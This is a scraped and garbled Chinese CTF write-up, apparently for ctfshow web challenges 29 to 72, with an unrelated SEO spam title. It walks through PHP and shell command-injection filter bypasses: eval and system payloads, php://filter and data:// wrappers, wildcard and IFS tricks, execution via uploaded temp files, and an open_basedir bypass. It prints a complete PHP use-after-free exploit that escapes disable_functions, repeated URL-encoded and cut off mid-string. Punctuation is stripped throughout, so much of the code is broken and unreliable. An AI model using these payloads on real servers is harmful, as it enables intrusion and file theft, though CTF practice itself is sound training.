当前位置: 首页 > news >正文

搭建外文网站济南小程序开发多少钱

搭建外文网站,济南小程序开发多少钱,ps网站设计怎么做,成都seo正规优化目录 web29 过滤flag web30 过滤system php web31 过滤 cat|sort|shell|\. 这里有一个新姿势 可以学习一下 web32 过滤 #xff1b; . web33 web34 web35 web36 web37 data伪协议 web38 短开表达式 web39 web40 __FILE__命令的扩展 web41 web42 重定向…目录 web29  过滤flag web30   过滤system php web31 过滤    cat|sort|shell|\. 这里有一个新姿势 可以学习一下 web32 过滤 . web33 web34 web35 web36 web37 data伪协议 web38 短开表达式 web39 web40   __FILE__命令的扩展 web41 web42 重定向 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 web53 web54  c/bin/?at${IFS}fla????? web55   base64返回值  bzip2解压后下载 base64 bzip2 web56  通过文件上传和 . 来执行命令 要注意 如果过滤了 空格 就无法实现 并且要通过system函数 web57  过滤数字 但是通过shell拼凑数字的方式 0x01 web58  show_source web59 web60 web62-65 web66  show_source被禁用 web67  print_r被禁用 web68 highlight_file被禁用 web69  var_dump 被禁用 web70 web71  ob_end_clean 清零缓冲区  UAF命令执行 web72  bypass open_basedir web73 web74 web75 PDD执行读取文件 web76 web77  FFI (PHP 7 7.4.0, PHP 8) web29  过滤flag error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){eval($c);}}else{highlight_file(__FILE__); } 这里能发现是匹配flag  但是存在高亮 高亮有需要路径 同时存在eval  命令执行 所以我们传入命令 但是过滤了flag 我们看看怎么绕过 ?csystem(ls ./); 发现了 flag 我们绕过正则匹配flag字符串 payload1: ?csystem(cat f*); f*匹配 f开头的文件 payload2: ?csystem(cat fl\ag.php); payload3: ?csystem(cat fla?????); 一定要5个 因为 ? 匹配一个任意字符 payload4: ?cecho cat flag.php; 内联 payload5: ?ceval($_GET[1]);1system(cat flag.php);web30   过滤system php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php/i, $c)){ 过滤了关键词eval($c);}}else{highlight_file(__FILE__); } system 可以使用 exec代替 还存在很多 system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec() php可以使用???代替 payload1: ?cecho exec(cat f*); payload2: ?cecho exec(cat fla?????);web31 过滤    cat|sort|shell|\. error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){eval($c);}}else{highlight_file(__FILE__); } cat被过滤了 我们可以使用 more:一页一页的显示档案内容less:与 more 类似 head:查看头几行tac:从最后一行开始显示可以看出 tac 是cat 的反向显示tail:查看尾几行nl显示的时候顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器这个也可以查看vim:一种编辑器这个也可以查看sort:可以查看payload1: ?ceval($_GET[1]);1system(cat f*); payload2: ?cinclude($_GET[1]);1php://filter/readconvert.base64-encode/resourceflag.php这里有一个新姿势 可以学习一下 我们首先了解一下代码 __FILE__ 表示当前文件 完整路径和文件名dirname() 获取一个网站路径的目录名scandir()读取目录的文件 然后作为一个数组print_r()打印数组内容print_r(scnandir(dirname(__FILE__)));1.执行 __FILE__ 获取当前文件的完整路径 例如 /var/www/html/1.php2.执行dirname 获取目录名 即 /var/www/html3.将目录下的内容转为数组 4.通过print_r数组输出 这里能发现当前目录下存在 flag.php 和 index.php 通过这个我们可以读取 目录文件 然后我们需要选中文件 print_r(next(array_reverse(scandir(dirname((__FILE__))))));array_reverse() 倒序排列next() 指向数组下一元素其实可以直接选择?cprint_r(scandir(dirname((__FILE__)))[2]); 最后通过高亮返回代码即可 ?chighlight_file(scandir(dirname((__FILE__)))[2]); web32 过滤 . 这道题把我们的 ) 也过滤了 所以刚刚学会的东西 没办法了 error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(/i, $c)){eval($c);}}else{highlight_file(__FILE__); } 主要是符号的过滤 所以这道题 我们可以使用 payload1: ?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php payload2: ?cinclude$_GET[1]?1data://text/plain,?php system(cat flag.php);?web33 error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\/i, $c)){eval($c);}}else{highlight_file(__FILE__); } 和32差不多 过滤的东西不影响我们通过逃逸参数1  /?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php web34 error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\/i, $c)){eval($c);}}else{highlight_file(__FILE__); } 好像还是可以使用 只是多过滤了一个 ; ?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php web35 error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\|\|\/i, $c)){eval($c);}}else{highlight_file(__FILE__); } 一样的 只要没过滤 include 我们就可以使用之前的payload 这题我们使用看看 require /?crequire$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php web36 error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\|\|\|\/|[0-9]/i, $c)){eval($c);}}else{highlight_file(__FILE__); }过滤了数字 没什么 只要把参数1 变为 a  就可以绕过了 /?crequire$_GET[a]?aphp://filter/readconvert.base64-encode/resourceflag.php web37 data伪协议 //flag in flag.php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){include($c);echo $flag;}}else{highlight_file(__FILE__); } 匹配flag的字符串 这里不能使用php://filter来读取 因为过滤了flag 但是我们可以使用data伪协议 ?cdata://text/plain,?php system(tac fla?.php);? 在data中 还可以指定 ;base64 data://text/plain;bvase64,base64加密后的命令 web38 短开表达式 error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|php|file/i, $c)){include($c);echo $flag;}}else{highlight_file(__FILE__); } ?cdata://text/plain,?system(tac fla?.?hp);? 这里是使用了短开表达式 ?  相当于 ?php echo   对后面的php也模糊匹配 就可以了 web39 //flag in flag.php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){include($c..php);}}else{highlight_file(__FILE__); } ?cdata://text/plain,?php system(tac fla?.php);? 因为data是将后面的php直接执行 web40   __FILE__命令的扩展 if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/[0-9]|\~|\|\|\#|\\$|\%|\^|\|\*|\|\|\-|\|\|\{|\[|\]|\}|\:|\|\|\,|\|\.|\|\/|\?|\\\\/i, $c)){eval($c);}}else{highlight_file(__FILE__); } 过滤了很多符号和数字 这里没有过滤字母 可以使用我们之前的姿势来读取 ?chighlight_file(next(array_reverse((scandir(dirname((__FILE__))))))); 这里补充一下知识点 __FILE__当前文件的目录print_r 数组的输出print_r(dirname(__FILE__));可以打印出当前文件的父级目录print_r(scandir(dirname(__FILE__)));把父级目录中的文件 通过数组来打印出来array_reverse()倒叙输出next() 指向当前指针的下一位end() 指向数组最后一位reset() 指向数组第一个prev() 指针往回走一位each() 返回当前指针的值 并且指针向前走一位 web41 这道题就是使用师傅的脚本来跑就可以了 web42 重定向 if(isset($_GET[c])){$c$_GET[c];system($c. /dev/null 21); }else{highlight_file(__FILE__); } system($c. /dev/null 21);我们的标准输入为 1 输出为2这个其实可分解1/dev/null 输入输出到null 黑洞21 输出设为输入其实就是直接把命令抛弃 这道题目我们直接使用 截断即可 payload1: ls%0a payload2: ls; payload3: lsls 这里的需要url编码 %26%26 payload1: cat flag.php%0a payload2: cat flag.php; payload3: cat flag.phpls 这里的需要url编码 %26%26 web43 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 过滤cat 和 分号 payload1: ls%26%26ls payload2: ls%0a payload1:tac flag.php%0a payload2 tac flag.php%26%26ls pay web44 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/;|cat|flag/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 加了过滤flag 可以使用模糊匹配 payload1:tac fla?.php%0a payload2 tac fla?.php%26%26ls web45 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| /i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 加了个空格过滤 ${IFS} $IFS$9payload1:tac$IFS$9fla?.php%0a payload2 tac$IFS$9fla?.php%26%26ls web46 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 过滤数字 $ 还有* %09 是 tab的url编码 tac%09fla?.php%0a tac%09fla?.php%26%26ls web47 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 过滤了更多的命令 用上一个payload接着打 tac%09fla?.php%0a tac%09fla?.php%26%26ls web48 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 好像还是可以接着打 只是过滤了更多的命令和 内联执行 tac%09fla?.php%0a tac%09fla?.php%26%26ls web49 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\|\%/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 但是我们这个在浏览器解析 自动会解析为 tab和换行 所以过滤无法过滤 所以接着打 tac%09fla?.php%0a tac%09fla?.php%26%26ls web50 */if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\|\%|\x09|\x26/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 发现过滤了26和09的编码 并且这个题目的 ? 无法使用 所以我们需要通过 绕过 因为正则只匹配flag完整字符串 tacflag.php%0a tacflag.php||ls web51 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|\%|\x09|\x26/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 过滤了一些输出的命令 nlflag.php%0a nlflag.php||ls web52 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|\%|\x09|\x26|\|\/i, $c)){system($c. /dev/null 21);} }else{highlight_file(__FILE__); } 发现又过滤了   但是把我们的 $放出来了 这里我们首先先看看ls ?cls|| 直接访问一下flag.php /?cnl${IFS}flag.php|| 发现没有 我们看看根目录 ?cls${IFS}/|| 发现了flag 直接访问 ?cnl${IFS}/flag|| web53 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|\%|\x09|\x26|\|\/i, $c)){echo($c);$d system($c);echo br.$d;}else{echo no;} }else{highlight_file(__FILE__); } /?cnl${IFS}fla?.php web54  c/bin/?at${IFS}fla????? if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\|\%|\x09|\x26|\|\/i, $c)){system($c);} }else{highlight_file(__FILE__); } 发现nl也过滤了 这里还有其他读取的方式 ?cpaste${IFS}fla?.php 或者继续使用cat 通过模糊匹配 ?c/bin/?at${IFS}fla????? web55   base64返回值  bzip2解压后下载 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|[a-z]|\|\%|\x09|\x26|\|\/i, $c)){system($c);} }else{highlight_file(__FILE__); } 过滤a-z字母 base64 我们可以通过bin下的base64命令返回 ?c/???/????64 ????.??? bzip2 bzip是存在 /usr/bin/bzip2 所以我们构造 ?c/???/???/????2 ????.???然后访问 /flag.php.bz2 得到文件 web56  通过文件上传和 . 来执行命令 要注意 如果过滤了 空格 就无法实现 并且要通过system函数 \;|[a-z]|[0-9]|\|\|\#|\|\|\%|\x09|\x26|\x0a|\|\,|\*|\|这个情况的过滤不可使用\;|[a-z]|[0-9]|\|\|\#|\|\|\%|\x09|\x26|\x0a|\|\,|\*|\这个情况下的过滤可以使用因为第一个是会匹配所有字符在自己测试这里蠢了 困扰了很久 无字母数字的命令执行(ctfshow web入门 55_无字母数字执行命令_Firebasky的博客-CSDN博客 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html // 你们在炫技吗 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|[a-z]|[0-9]|\\$|\(|\{|\|\|\|\%|\x09|\x26|\|\/i, $c)){system($c);} }else{highlight_file(__FILE__); } 过滤了很多符号 过滤了数字和字母 我们无法使用数字和字母来执行命令 但是其没有过滤 . (点) 这道题主要的方向 1.没有过滤. 在linux中 .不需要x权限就可以执行所以我们如果有一个可控的文件 那么我们可以直接执行这个文件2.我们如果上传一个文件 一般情况下是临时保存在 ./tmp/phpXXXXXX中其中后六位是随机生成的大小写字母 这里我们就可以通过本地的网站 链接到 攻击的靶场 然后通过post文件 达到执行我们上传的木马文件 但是我们如何通过过滤去访问文件呢 ./tmp/phpXXXXXX 首先我们可以通过 来模糊匹配./???/???XXXXXX 那我们如何匹配后面的呢因为/tmp/ 下会有很多类似的文件所以我们可以通过正则匹配来匹配文件 我们能发现 大写字母在 和[之间 那我们只需要通过正则匹配 -[即可 所以我们get的方式就是 ?c./???/????????[-[]!DOCTYPE html html langen headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titlePOST数据包POC/title /head body form actionhttp://cd3eb1d9-31ec-4644-b057-c38153f6a911.challenge.ctf.show/ methodpost enctypemultipart/form-data !--链接是当前打开的题目链接--label forfile文件名/labelinput typefile namefile idfilebrinput typesubmit namesubmit value提交 /form /body /html本地搭建发送包的文件 随便上传一个文件 这样就行了 然后通过pwd 执行绝对路径 cat /var/www/html/flag.php 如果没有回显就多发几次 因为最后一位不一定是大写 web57  过滤数字 但是通过shell拼凑数字的方式 ?php/* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-05 20:49:30 # Last Modified by: h1xa # Last Modified time: 2020-09-08 01:02:56 # email: h1xactfer.com # link: https://ctfer.com */// 还能炫的动吗 //flag in 36.php if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|[a-z]|[0-9]|\|\|\#|\|\|\|\%|\x09|\x26|\x0a|\|\|\.|\,|\?|\*|\-|\|\[/i, $c)){system(cat .$c..php);} }else{highlight_file(__FILE__); } 发现过滤了 ? . 所以56的方法也无法实现 这里提示我们 flag是在36.php处 需要运用到linux shell的特性 0x01 ${_} 返回上一条命令 那我们如果没有命令呢 $(()) 做运算 那如果我们将 ${_}的值放入是多少呢 echo $((${_})) 这里就相当于 $((0))   将0 做运算 那么就是 0 那我们如果 通过 ~ 取反呢 发现取反后是-1 那我们如果想要-2怎么办 -1-1-2所以我们只需要将两个 -1做运算即可 echo $(($((~${_}))$((~${_})))) 那我们想要-3也很简单了 echo $(($((~${_}))$((~${_}))$((~${_})))) 那既然他说是在 36.php 那我们直接拼凑 -36出来 echo $(($((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_})))) 那我们再做一次取反即可 但是取反后是35 所以我们在最后再加一个即可 echo $((~$(($((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))))))echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) 现在我们就可以直接访问36了 但是我们无法知道命令 所以我们可以使用 $(($(())))0$(($((~$(())))$((~$(())))))-2$(($((~$(())))$((~$(())))$((~$(())))))-3 但是其实两个方式都可以访问 只是第一个着重于命令 web58  show_source ?php/* # -*- coding: utf-8 -*- # Author: Lazzaro # Date: 2020-09-05 20:49:30 # Last Modified by: h1xa # Last Modified time: 2020-09-07 22:02:47 # email: h1xactfer.com # link: https://ctfer.com*/// 你们在炫技吗 if(isset($_POST[c])){$c $_POST[c];eval($c); }else{highlight_file(__FILE__); } 发现是变为 POST了 首先通过post传递system() csystem(ls); 发现禁用了 其他函数都被禁用了 所以只能使用php内置函数 cprint_r(scandir(dirname(__FILE__))); chighlight_file(scandir(dirname(__FILE__))[2]); 或者直接使用show_source来读取 cshow_source(flag.php); web59 ?php/* # -*- coding: utf-8 -*- # Author: Lazzaro # Date: 2020-09-05 20:49:30 # Last Modified by: h1xa # Last Modified time: 2020-09-07 22:02:47 # email: h1xactfer.com # link: https://ctfer.com*/// 你们在炫技吗 if(isset($_POST[c])){$c $_POST[c];eval($c); }else{highlight_file(__FILE__); } 继续尝试 chighlight_file(scandir(dirname(__FILE__))[2]); 这个方法还是可以 发现题目是一样的 我也不懂 cshow_source(flag.php); web60 ?php/* # -*- coding: utf-8 -*- # Author: Lazzaro # Date: 2020-09-05 20:49:30 # Last Modified by: h1xa # Last Modified time: 2020-09-07 22:02:47 # email: h1xactfer.com # link: https://ctfer.com*/// 你们在炫技吗 if(isset($_POST[c])){$c $_POST[c];eval($c); }else{highlight_file(__FILE__); } 发现还是一样的 web62-65 全是一样的。。。。 web66  show_source被禁用 ?php/* # -*- coding: utf-8 -*- # Author: Lazzaro # Date: 2020-09-05 20:49:30 # Last Modified by: h1xa # Last Modified time: 2020-09-07 22:02:47 # email: h1xactfer.com # link: https://ctfer.com*/// 你们在炫技吗 if(isset($_POST[c])){$c $_POST[c];eval($c); }else{highlight_file(__FILE__); } chighlight_file(scandir(dirname(__FILE__))[2]); 发现文件不对 那我们直接去根目录看看 cprint_r(scandir(/)); 发现了flag.txt那我们直接读取就可以了 chighlight_file(/.scandir(/)[6]);chighlight_file(/flag.txt);web67  print_r被禁用 发现print_r被禁用了 那我们还有一个var_dump cvar_dump(scandir(/)); 读取即可 chighlight_file(/flag.txt); web68 highlight_file被禁用 一打开就是 报错 那我们就知道是 highlight_file 被禁止 我们继续看看 cvar_dump(scandir(/)); 那我们直接包含 flag.txt文件 cinclude(/flag.txt); web69  var_dump 被禁用 那我们可以使用另一个 cvar_export(scandir(/)); 然后继续include访问 cinclude(/flag.txt); web70 和上一题一样做法 cvar_export(scandir(/)); cinclude(/flag.txt); web71  ob_end_clean 清零缓冲区  UAF命令执行 给了我们源代码 ?php/* # -*- coding: utf-8 -*- # Author: Lazzaro # Date: 2020-09-05 20:49:30 # Last Modified by: h1xa # Last Modified time: 2020-09-07 22:02:47 # email: h1xactfer.com # link: https://ctfer.com*/error_reporting(0); ini_set(display_errors, 0); // 你们在炫技吗 if(isset($_POST[c])){$c $_POST[c];eval($c);$s ob_get_contents(); 结果存入缓冲区ob_end_clean(); 删除清楚缓冲区echo preg_replace(/[0-9]|[a-z]/i,?,$s); 如果 s存在 数字字母就用 ?代替 }else{highlight_file(__FILE__); }?你要上天吗 这里主要是两个函数 ob_get_contents() 得到的值存入缓冲区 ob_end_clean() 将缓冲区清除这里能发现第一次的输出 没有实现 而是输出了第二次的 那我们思考 我们能不能直接输入一个exit() 退出指令 让程序执行完我们的命令后直接退出 cinclude(/flag.txt);exit(); 首先我们看看没有exit函数的情况 访问两个flag 发现会先读取 然后就进行缓冲区的删除 因为我没有送入缓冲区 所以没有显示 发现 我们只要加了函数后 程序就退出了 所以执行完include后 执行exit 这样就退出了 就不会执行下面的函数了 这样我们这道题也做完了 cinclude(/flag.txt);exit(); web72  bypass open_basedir ?php/* # -*- coding: utf-8 -*- # Author: Lazzaro # Date: 2020-09-05 20:49:30 # Last Modified by: h1xa # Last Modified time: 2020-09-07 22:02:47 # email: h1xactfer.com # link: https://ctfer.com*/error_reporting(0); ini_set(display_errors, 0); // 你们在炫技吗 if(isset($_POST[c])){$c $_POST[c];eval($c);$s ob_get_contents();ob_end_clean();echo preg_replace(/[0-9]|[a-z]/i,?,$s); }else{highlight_file(__FILE__); }?你要上天吗 这里遇到了open_basedr的限制 绕过 open_basedir_双层小牛堡的博客-CSDN博客 学习完后来测试这个题目 通过 glob协议配合函数接口绕过 open_basedir 然后再绕过 缓冲区清零清理 c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?绕过了 并且打印了 根目录的内容 那么我们 看看能不能访问 对于uaf 了解很少  应该是pwn的内容 ?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this-a);$backtrace (new Exception)-getTrace();if(!isset($backtrace[1][args])) {$backtrace debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr($str, $p 0, $s 8) {$address 0;for($j $s-1; $j 0; $j--) {$address 8;$address | ord($str[$p$j]);}return $address;}function ptr2str($ptr, $m 8) {$out ;for ($i0; $i $m; $i) {$out . sprintf(%c,($ptr 0xff));$ptr 8;}return $out;}function write($str, $p, $v, $n 8) {$i 0;for($i 0; $i $n; $i) {$str[$p $i] sprintf(%c,($v 0xff));$v 8;}}function leak($addr, $p 0, $s 8) {global $abc, $helper;write($abc, 0x68, $addr $p - 0x10);$leak strlen($helper-a);if($s ! 8) { $leak % 2 ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type leak($base, 0x10, 2);$e_phoff leak($base, 0x20);$e_phentsize leak($base, 0x36, 2);$e_phnum leak($base, 0x38, 2);for($i 0; $i $e_phnum; $i) {$header $base $e_phoff $i * $e_phentsize;$p_type leak($header, 0, 4);$p_flags leak($header, 4, 4);$p_vaddr leak($header, 0x10);$p_memsz leak($header, 0x28);if($p_type 1 $p_flags 6) { $data_addr $e_type 2 ? $p_vaddr : $base $p_vaddr;$data_size $p_memsz;} else if($p_type 1 $p_flags 5) { $text_size $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) $elf;for($i 0; $i $data_size / 8; $i) {$leak leak($data_addr, $i * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);if($deref ! 0x746e6174736e6f63)continue;} else continue;$leak leak($data_addr, ($i 4) * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);if($deref ! 0x786568326e6962)continue;} else continue;return $data_addr $i * 8;}}function get_binary_base($binary_leak) {$base 0;$start $binary_leak 0xfffffffffffff000;for($i 0; $i 0x1000; $i) {$addr $start - 0x1000 * $i;$leak leak($addr, 0, 7);if($leak 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr $basic_funcs;do {$f_entry leak($addr);$f_name leak($f_entry, 0, 6);if($f_name 0x6d6574737973) {return leak($addr 8);}$addr 0x20;} while($f_entry ! 0);return false;}function trigger_uaf($arg) {$arg str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA);$vuln new Vuln();$vuln-a $arg;}if(stristr(PHP_OS, WIN)) {die(This PoC is for *nix systems only.);}$n_alloc 10; $contiguous [];for($i 0; $i $n_alloc; $i)$contiguous[] str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA);trigger_uaf(x);$abc $backtrace[1][args][0];$helper new Helper;$helper-b function ($x) { };if(strlen($abc) 79 || strlen($abc) 0) {die(UAF failed);}$closure_handlers str2ptr($abc, 0);$php_heap str2ptr($abc, 0x58);$abc_addr $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr 0x60);write($abc, 0x18, 0xa);$closure_obj str2ptr($abc, 0x20);$binary_leak leak($closure_handlers, 8);if(!($base get_binary_base($binary_leak))) {die(Couldnt determine binary base address);}if(!($elf parse_elf($base))) {die(Couldnt parse ELF header);}if(!($basic_funcs get_basic_funcs($base, $elf))) {die(Couldnt get basic_functions address);}if(!($zif_system get_system($basic_funcs))) {die(Couldnt get zif_system address);}$fake_obj_offset 0xd0;for($i 0; $i 0x110; $i 8) {write($abc, $fake_obj_offset $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr $fake_obj_offset);write($abc, 0xd0 0x38, 1, 4); write($abc, 0xd0 0x68, $zif_system); ($helper-b)($cmd);exit(); }ctfshow(cat /flag0.txt);ob_end_flush(); ?通过url编码 payload cfunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5Bargs%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%